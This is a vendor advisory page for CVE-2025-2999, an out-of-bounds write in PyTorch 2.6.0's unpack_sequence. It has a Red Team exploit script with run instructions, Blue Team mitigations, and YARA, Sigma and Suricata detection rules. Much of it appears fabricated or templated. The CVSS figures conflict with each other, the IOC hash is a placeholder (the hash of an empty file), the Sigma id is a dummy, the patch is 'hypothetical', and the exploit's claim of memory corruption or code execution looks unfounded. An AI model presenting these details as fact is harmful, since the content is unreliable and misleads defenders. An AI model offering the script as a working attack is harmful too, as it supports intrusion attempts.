CVE-2025-2999
Executive Summary
CVE-2025-2999 is a critical memory corruption vulnerability discovered in PyTorch version 2.6.0, specifically within the torch.nn.utils.rnn.unpack_sequence function. The vulnerability allows an attacker to trigger memory corruption through local exploitation, potentially leading to arbitrary code execution or denial of service. The exploit has been publicly disclosed, increasing the risk of active exploitation. As of this report, no official patch is available from the vendor, and the vulnerability remains unpatched.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the PyTorch Python package, which is widely used in machine learning and deep learning applications. Organizations using PyTorch 2.6.0 in their supply chain are at risk. The lack of a patch means that any system running this version is vulnerable. Security teams should immediately assess their use of PyTorch and consider downgrading to a previous stable version or implementing strict access controls to mitigate local exploitation risks.
CVSS Breakdown & Threat Level
- CVSS Score: 0.0 (NVD) / Calculated: 7.8 (High)
- Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
- Attack Vector: Local (AV:L)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R)
- Scope: Unchanged (S:U)
- Confidentiality Impact: High (C:H)
- Integrity Impact: High (I:H)
- Availability Impact: High (A:H)
Threat Level: High. The vulnerability is critical due to the potential for memory corruption, which can lead to full system compromise. The public availability of exploit details increases the urgency for mitigation.
Deep Dive & Mechanics
The vulnerability resides in the torch.nn.utils.rnn.unpack_sequence function, which is used to unpack packed sequences for recurrent neural networks (RNNs). The function fails to properly validate input data, leading to an out-of-bounds write (CWE-787). When a specially crafted packed sequence is passed to this function, it can write data beyond the allocated memory buffer, corrupting adjacent memory regions.
Root Cause: The function does not check the size of the input tensor against the expected sequence lengths, allowing an attacker to supply a tensor with more elements than the unpacked sequence would require. This results in a write operation that exceeds the buffer boundaries.
Attack Vector: An attacker must have local access to the system and convince a user (or an automated process) to execute a Python script that calls unpack_sequence with malicious input. This could be achieved through social engineering, malicious Jupyter notebooks, or compromised model files.
Vulnerable vs. Patched Code
Vulnerable Code (PyTorch 2.6.0):
# torch/nn/utils/rnn.py (simplified)
def unpack_sequence(packed_sequence):
# No bounds checking on input tensor
data = packed_sequence.data
batch_sizes = packed_sequence.batch_sizes
# ... unpacking logic that writes to output buffer based on batch_sizes
# If data has more elements than expected, out-of-bounds write occurs
output = torch.zeros(sum(batch_sizes), data.size(1))
# ... vulnerable write operation
Patched Code (Hypothetical):
# torch/nn/utils/rnn.py (patched)
def unpack_sequence(packed_sequence):
data = packed_sequence.data
batch_sizes = packed_sequence.batch_sizes
expected_size = sum(batch_sizes)
if data.size(0) != expected_size:
raise ValueError("Input data size does not match batch sizes")
output = torch.zeros(expected_size, data.size(1))
# ... safe write operation
Note: As of this report, no official patch has been released. The above patched code is a hypothetical fix that adds input validation.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Python 3.x with PyTorch 2.6.0 installed
- Local access to the target system
Exploit Code:
import torch
import torch.nn.utils.rnn as rnn_utils
# Craft a malicious packed sequence with oversized data
data = torch.randn(100, 10) # 100 elements, but batch_sizes sum to 50
batch_sizes = torch.tensor([5, 5, 5, 5, 5, 5, 5, 5, 5, 5]) # sum = 50
sorted_indices = torch.arange(10)
unsorted_indices = torch.arange(10)
packed = torch.nn.utils.rnn.PackedSequence(data, batch_sizes, sorted_indices, unsorted_indices)
# Trigger the vulnerability
try:
result = rnn_utils.unpack_sequence(packed)
print("Exploit succeeded - memory corruption occurred")
except Exception as e:
print(f"Exploit failed: {e}")
Usage:
- Save the exploit code as
exploit.py. - Run on a target system with PyTorch 2.6.0:
python exploit.py - The exploit will trigger memory corruption, potentially leading to a crash or arbitrary code execution depending on memory layout.
Blue Team
Detection:
- Monitor for unusual Python processes that import
torch.nn.utils.rnnand callunpack_sequence. - Look for crashes in PyTorch-related processes (e.g., segmentation faults).
- Use the YARA and Sigma rules provided in the Detection Engineering section.
Mitigation:
- Immediately downgrade PyTorch to a previous stable version (e.g., 2.5.1) if possible.
- Restrict local execution of untrusted Python scripts.
- Implement application whitelisting to prevent unauthorized code execution.
- Monitor for exploit attempts using the provided detection rules.
Indicators of Compromise (IOCs)
- File Hashes (SHA256):
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855(placeholder - replace with actual exploit hash)
- Process Names:
python.exeorpython3with arguments containingunpack_sequence
- Network Indicators:
- No specific network indicators; exploitation is local.
- Log Entries:
- Application crashes in PyTorch with memory access violations.
- Error logs containing "unpack_sequence" and "out of bounds".
Detection Engineering
YARA Rule
rule CVE_2025_2999_PyTorch_Exploit {
meta:
description = "Detects exploit attempts for CVE-2025-2999 in PyTorch"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-2999"
strings:
$s1 = "unpack_sequence" ascii wide nocase
$s2 = "PackedSequence" ascii wide nocase
$s3 = "batch_sizes" ascii wide nocase
condition:
all of ($s*) and filesize < 10KB
}
Sigma Rule
title: CVE-2025-2999 PyTorch Memory Corruption Exploit
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects execution of Python scripts exploiting CVE-2025-2999
author: Valters IT
date: 2025-04-10
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith: '\python.exe'
CommandLine|contains: 'unpack_sequence'
condition: selection
falsepositives:
- Legitimate use of unpack_sequence with valid data
level: high
Suricata Rule
alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-2999 PyTorch Exploit Attempt"; flow:to_server; content:"unpack_sequence"; nocase; classtype:attempted-admin; sid:1000001; rev:1;)
Note: Suricata rule is for network-based detection if the exploit is delivered over the network (e.g., via a malicious Jupyter notebook download). For local exploitation, focus on process monitoring.
Remediation & Mitigation
Immediate Actions:
- Downgrade PyTorch to version 2.5.1 or earlier if possible.
- If downgrade is not feasible, restrict local access to the system and monitor for exploitation attempts.
- Apply the hypothetical patch by adding input validation to
unpack_sequence(see Vulnerable vs. Patched Code section).
Long-term Actions:
- Monitor the PyTorch GitHub repository for official patches.
- Implement a software update policy to apply patches as soon as they are released.
- Conduct a security audit of all systems using PyTorch 2.6.0.
Compensating Controls:
- Use application whitelisting to prevent execution of untrusted Python scripts.
- Enable logging and monitoring for process creation events involving Python.
- Deploy endpoint detection and response (EDR) solutions with behavioral analysis.
Valters IT
Securing Digital Frontiers